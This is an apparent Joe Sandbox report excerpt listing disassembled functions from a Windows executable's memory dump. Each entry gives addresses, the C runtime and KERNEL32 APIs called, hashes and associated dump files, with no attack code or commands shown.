Opcode Fuzzy Hash: a658af243d55a89f5ef705efa73716f0020930f295102f0f64cb9cdd66453038
Instruction Fuzzy Hash: 7B01A234B08B81C5EB01AB56B4208EAE360AF85FD0F988035EE5D13B65DE3CD5838750

Function 00007FF767F09C78 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF767F09EC7
RaiseException.KERNEL32 ref: 00007FF767F09ED8

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 3399ca020fd9c3d0a4c647ae8a4c7378a3b1d81ee0c34c820329e66b1fe6482f
Instruction ID: ac21a435fdc1cb9c858aa5d4f1cda4615799d944226a0e9d0553054699af879a
Opcode Fuzzy Hash: 3399ca020fd9c3d0a4c647ae8a4c7378a3b1d81ee0c34c820329e66b1fe6482f
Instruction Fuzzy Hash: 70B18D73604B85CBEB15DF29C4663A87BA0F744B89F548821DB6D837A4DF39D452C710

Function 00007FF767EFF824 Relevance: 1.9, APIs: 1, Instructions: 373COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF767EFF96C

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: d8934e6e1ba48405ade09f6055151bcf19456359ef227bb3d6864e44d95dc430
Instruction ID: 288160cae8f4936cf935f41fe74408e43d8ff77cc5427ac7a306b6187f5fdf32
Opcode Fuzzy Hash: d8934e6e1ba48405ade09f6055151bcf19456359ef227bb3d6864e44d95dc430
Instruction Fuzzy Hash: 0E127E32A08BC1C6E751DF3894246FDB7A4FB59788F859235EA8C42652EF3DE186C710

Function 00007FF767F0C698 Relevance: 1.8, APIs: 1, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 180204a92438682753827171fbb3bcfcd27f48bd49a6ffb45e8bee0a6e23b65e
Instruction ID: 5ed67c445535e1aa769e494259c180e024d38234ff470e8f8a2dade6e9ec49b3
Opcode Fuzzy Hash: 180204a92438682753827171fbb3bcfcd27f48bd49a6ffb45e8bee0a6e23b65e
Instruction Fuzzy Hash: E7E13132A04B8186E720DB61E4616EE77A4F7947C9F804635DF8D53B56EF78E246C310

Function 00007FF767F0AAE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92bed89c0e7bfadffcad49ca7db2a4ab3573026032025ba519bc2425fdab50f0
Instruction ID: da031006cb97caa51f7405b2370c1a5bdf45909a87572bfea173dfbd6bd5669b
Opcode Fuzzy Hash: 92bed89c0e7bfadffcad49ca7db2a4ab3573026032025ba519bc2425fdab50f0
Instruction Fuzzy Hash: 3051C322B08681C5EB20AB72A8609EABBE1FB447D5F944134EE5D27B95DE3CD443C710

Function 00007FF767F0E844 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF767F0492C: GetLastError.KERNEL32 ref: 00007FF767F0493B
Part of subcall function 00007FF767F0492C: FlsGetValue.KERNEL32 ref: 00007FF767F04950
Part of subcall function 00007FF767F0492C: SetLastError.KERNEL32 ref: 00007FF767F049DB

Part of subcall function 00007FF767F0492C: FlsSetValue.KERNEL32 ref: 00007FF767F04971

GetLocaleInfoW.KERNEL32 ref: 00007FF767F0E8AC

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: 33dce63c000d8f8ecba602ed5e9c9b01eb30c559286b4661bb96ac18289c62d7
Instruction ID: dbfca3cd7b156a4de807f5487925f1476e0303653405563b8ea95f2602f1c914
Opcode Fuzzy Hash: 33dce63c000d8f8ecba602ed5e9c9b01eb30c559286b4661bb96ac18289c62d7
Instruction Fuzzy Hash: 3E31A131A08282C6EB64AB21D461BFAB391FB847C6F848035DA9D83785DE3CE517C710

Function 00007FF767F0E494 Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF767F0492C: GetLastError.KERNEL32 ref: 00007FF767F0493B
Part of subcall function 00007FF767F0492C: FlsGetValue.KERNEL32 ref: 00007FF767F04950
Part of subcall function 00007FF767F0492C: SetLastError.KERNEL32 ref: 00007FF767F049DB

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF767F0EC83,?,00000000,00000092,?,?,00000000,?,00007FF767F02915), ref: 00007FF767F0E532

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 299e2fb3c39f1723234e1e9a30f7c01ce5d09dac68b119f8fefbba8bba3a8293
Instruction ID: c80478d0fd0d8e5854ab65d0c90c6aa7ff3d4623fc007937e66a551f5361bc13
Opcode Fuzzy Hash: 299e2fb3c39f1723234e1e9a30f7c01ce5d09dac68b119f8fefbba8bba3a8293
Instruction Fuzzy Hash: 9511D26BA08645CAEB15AF25D060AF8B7A0FB90BE2F848135C669433C4EE38D5D3C750

Function 00007FF767F0EA4C Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF767F0492C: GetLastError.KERNEL32 ref: 00007FF767F0493B
Part of subcall function 00007FF767F0492C: FlsGetValue.KERNEL32 ref: 00007FF767F04950
Part of subcall function 00007FF767F0492C: SetLastError.KERNEL32 ref: 00007FF767F049DB

GetLocaleInfoW.KERNEL32(?,?,?,00007FF767F0E7F6), ref: 00007FF767F0EA83

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
API String ID: 3796814847-0
Opcode ID: 27a870d04b5633b0ce9003d67710837246028b62cd08f72254b1953ba3c47300
Instruction ID: 69be951cc55f10fc4197032716e30bccbe96df37a1aaebf7c1b59e32ee26d3bf
Opcode Fuzzy Hash: 27a870d04b5633b0ce9003d67710837246028b62cd08f72254b1953ba3c47300
Instruction Fuzzy Hash: 26115B31B08152C3E734B621A070EBAA352FB58795F944231E66D437C4EE29D8A38710

Function 00007FF767F0E564 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF767F0492C: GetLastError.KERNEL32 ref: 00007FF767F0493B
Part of subcall function 00007FF767F0492C: FlsGetValue.KERNEL32 ref: 00007FF767F04950
Part of subcall function 00007FF767F0492C: SetLastError.KERNEL32 ref: 00007FF767F049DB

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF767F0EC3F,?,00000000,00000092,?,?,00000000,?,00007FF767F02915), ref: 00007FF767F0E5E2

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 388ee0737461765ef09b34f64180d27f0f64b5a2ec9b35637385c1be6d2a8eb3
Instruction ID: 06be6cfa84a15dd419ef5d78fee8ffae8d4fe1187f2818be277a917313f408eb
Opcode Fuzzy Hash: 388ee0737461765ef09b34f64180d27f0f64b5a2ec9b35637385c1be6d2a8eb3
Instruction Fuzzy Hash: 0D019262B08281CAE7147B25E570BF9B7D2EB507E6F858231D668873C4EF689487C710

Function 00007FF767F06384 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF767F066E7,?,?,?,?,?,?,?,?,00000000,00007FF767F0DAE4), ref: 00007FF767F063D3

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 6624756bf7cade8dc1123afc4cca3197e7e1b61b4bdd0de2c75fdcf2745a3b96
Instruction ID: 65a4b21cd38522666ef906a09c265e53a570b621e26f5a203eef5a583d40632d
Opcode Fuzzy Hash: 6624756bf7cade8dc1123afc4cca3197e7e1b61b4bdd0de2c75fdcf2745a3b96
Instruction Fuzzy Hash: 45F08172704B41C2E700EB55F8A09E5A361FB997C0F948035EA1D83764DE3CD463C700

Function 00007FF767F08340 Relevance: 1.4, APIs: 1, Instructions: 137COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF767F083E5

Part of subcall function 00007FF767F062D4: HeapAlloc.KERNEL32(?,?,00000000,00007FF767F04B06,?,?,000068C3FE2C4CD1,00007FF767F006B1,?,?,?,?,00007FF767F0A0B6,?,?,00000000), ref: 00007FF767F06329

Part of subcall function 00007FF767F05CE8: HeapFree.KERNEL32(?,?,00007FF767F0194B,00007FF767F0CF26,?,?,?,00007FF767F0D2A3,?,?,00000000,00007FF767F0D7E1,?,?,?,00007FF767F0D713), ref: 00007FF767F05CFE
Part of subcall function 00007FF767F05CE8: GetLastError.KERNEL32(?,?,00007FF767F0194B,00007FF767F0CF26,?,?,?,00007FF767F0D2A3,?,?,00000000,00007FF767F0D7E1,?,?,?,00007FF767F0D713), ref: 00007FF767F05D08

Part of subcall function 00007FF767F0F210: _invalid_parameter_noinfo.LIBCMT ref: 00007FF767F0F243

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ErrorHeapLast$AllocFree_invalid_parameter_noinfo
String ID:
API String ID: 916656526-0
Opcode ID: de99da81833a26c24871d60779b1f3f52ea88d3cae1a250500faf86da5a9329f
Instruction ID: 7d357883ca9e482164173928c60d8741f760d1f55a7c6365febfde3525960309
Opcode Fuzzy Hash: de99da81833a26c24871d60779b1f3f52ea88d3cae1a250500faf86da5a9329f
Instruction Fuzzy Hash: 9C418121B0D24285EA70BA26A831EFAE7817F857C1FD45535EE4D47B85EE3CE4038620

Function 00007FF767F0BDD4 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF767F0BDD8

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1da0440ed416fdd449553909bf9a1db47b46f554b6c3f078e270c30caa019559
Instruction ID: efb6f04ed1b047a9f66c07d3c06fa6bc76dd957fb86a384e5459785bbdb9bc28
Opcode Fuzzy Hash: 1da0440ed416fdd449553909bf9a1db47b46f554b6c3f078e270c30caa019559
Instruction Fuzzy Hash: 0EB09220E07A42C2EA097B516C9266463A47F88B84FD48079C40C41320DF2C20B74721

Function 00007FF767F02764 Relevance: .3, Instructions: 309COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue_invalid_parameter_noinfo
String ID:
API String ID: 4023145424-0
Opcode ID: 2193573eb62e0e349bac0217901461b891f751db6f69d9bcdbd2da4b2e5dc450
Instruction ID: bee40784caa7db4478f7c37113a3f73b91123d07cfdb68c73524749cb96fdd5e
Opcode Fuzzy Hash: 2193573eb62e0e349bac0217901461b891f751db6f69d9bcdbd2da4b2e5dc450
Instruction Fuzzy Hash: 94C1B266A08682C5EB60EB659830BFAA7A0FB947C9FC04036DE4D87785DE3DD547C720

Function 00007FF767F0DBA8 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ErrorLast$Value_invalid_parameter_noinfo
String ID:
API String ID: 1500699246-0
Opcode ID: 83ca80d9d4f9584a6a4f4fc1a54bd5d488d3e5bf467065ee0d380736a2b3f2d8
Instruction ID: f7be7949af5a767e76be6b00890e73cd4b1983ce55555242b711634d08a396c1
Opcode Fuzzy Hash: 83ca80d9d4f9584a6a4f4fc1a54bd5d488d3e5bf467065ee0d380736a2b3f2d8
Instruction Fuzzy Hash: 46B1A432A18646C2EB64AF21D431AF9B391EB50BCAFA04131DA59837C9DF7CD547C760

Function 00007FF767F0000C Relevance: .2, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ba5bf7547bafeab8d52466a5aa7f3da58d874c3429c50010ead4ade79a679553
Instruction ID: cbc5db2de6946a20f224c0fb6b8ae3c0f17104a591252fb09f5e12f4d6798597
Opcode Fuzzy Hash: ba5bf7547bafeab8d52466a5aa7f3da58d874c3429c50010ead4ade79a679553
Instruction Fuzzy Hash: D181A172A14A51C6EB20EE25C4B1BBDA360FB44BE9F948636EE1D97794DF78D0438310

Function 00007FF767F0F84C Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 80c9ba1454821e56d09626715f1adff33740e042ef6f704d56f420b68e0c08fa
Instruction ID: ed941a943e8e409ecbef998a49fc0b6eef54eec7f60e7f863e202119cad283cf
Opcode Fuzzy Hash: 80c9ba1454821e56d09626715f1adff33740e042ef6f704d56f420b68e0c08fa
Instruction Fuzzy Hash: C761E722E1C643C6F7A4A9289870AF9E7C1AF407F1F940635DA5D827D1DE6DE8038B24

Function 00007FF767F01894 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 8ca5f9b9afe2a1ab358cc5a1c228255cabf2ac0385a2a04a48b8430728c2505a
Instruction ID: d50a16d92536d39c8d7defa98b7b1bece17fcfddbe124bd6907dad3cef39e89a
Opcode Fuzzy Hash: 8ca5f9b9afe2a1ab358cc5a1c228255cabf2ac0385a2a04a48b8430728c2505a
Instruction Fuzzy Hash: 6741F862714A55C1EF04DF6AD9349A9B3A1F748FC4B899136EE0D97B58EE3CD4438300

Function 00007FF767F11E30 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2579ee338d7137eaa34571bac64e97de0e4a0919a686233ee17fa3397aa3dd5e
Instruction ID: 7fadd50681f51dcd7e34aaef630f83ee4186cbb12459479fc6c6f34eacf337c5
Opcode Fuzzy Hash: 2579ee338d7137eaa34571bac64e97de0e4a0919a686233ee17fa3397aa3dd5e
Instruction Fuzzy Hash: A5F04F71A292969ADBE49F68A852A69B790F7083C4F90C039D69983E04DE3C90628F14

Function 00007FF767EF8C90 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07dbe8be3fdfe9a3948dfa8428d32c069e3a053949d024d9b812c82a406bcec9
Instruction ID: aaa7cfcfa22be1d0ac82f3f0556d502a9016b5fe91a4771214f5965ad303c572
Opcode Fuzzy Hash: 07dbe8be3fdfe9a3948dfa8428d32c069e3a053949d024d9b812c82a406bcec9
Instruction Fuzzy Hash: 25A00131949902D4EA46AB01A870870A320ABA43A6BE60135E44D914A0DE2CA446C221

Function 00007FF767EF2270 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 396COMMON

Download Yara Rule

APIs

__std_fs_code_page.LIBCPMT ref: 00007FF767EF22CF

Part of subcall function 00007FF767EF6AF4: AreFileApisANSI.KERNEL32(?,?,?,?,00007FF767EF22D4), ref: 00007FF767EF6B06

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF767EF253B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF767EF2541
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF767EF2547
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF767EF2661
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF767EF268C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF767EF27B9
__std_exception_copy.LIBVCRUNTIME ref: 00007FF767EF27ED

Strings

: ", xrefs: 00007FF767EF23F5
", ", xrefs: 00007FF767EF2428

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ApisFile__std_exception_copy__std_exception_destroy__std_fs_code_page
String ID: ", "$: "
API String ID: 4080386414-747220369
Opcode ID: e0687b416090407da58e5f28bfa2971eaf4c9ee23a2eb5180f1abe1b4521861a
Instruction ID: f2e41da3bcf63d947535b40563d8e571282a2364786a5c35f10e2263bb24c850
Opcode Fuzzy Hash: e0687b416090407da58e5f28bfa2971eaf4c9ee23a2eb5180f1abe1b4521861a
Instruction Fuzzy Hash: CBF16D72B04A82C5EB04EF25D4643ACA365EB54BC8FD48032EA4D17A99DF7CD99AC350

Function 00007FF767EFABC0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF767EFAC1D

Part of subcall function 00007FF767EFCF80: __GetUnwindTryBlock.LIBCMT ref: 00007FF767EFCFC3
Part of subcall function 00007FF767EFCF80: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF767EFCFE8

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF767EFACF5
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF767EFAF43
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF767EFB050

Strings

csm, xrefs: 00007FF767EFAD18
csm, xrefs: 00007FF767EFAC9E
csm, xrefs: 00007FF767EFAC37

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
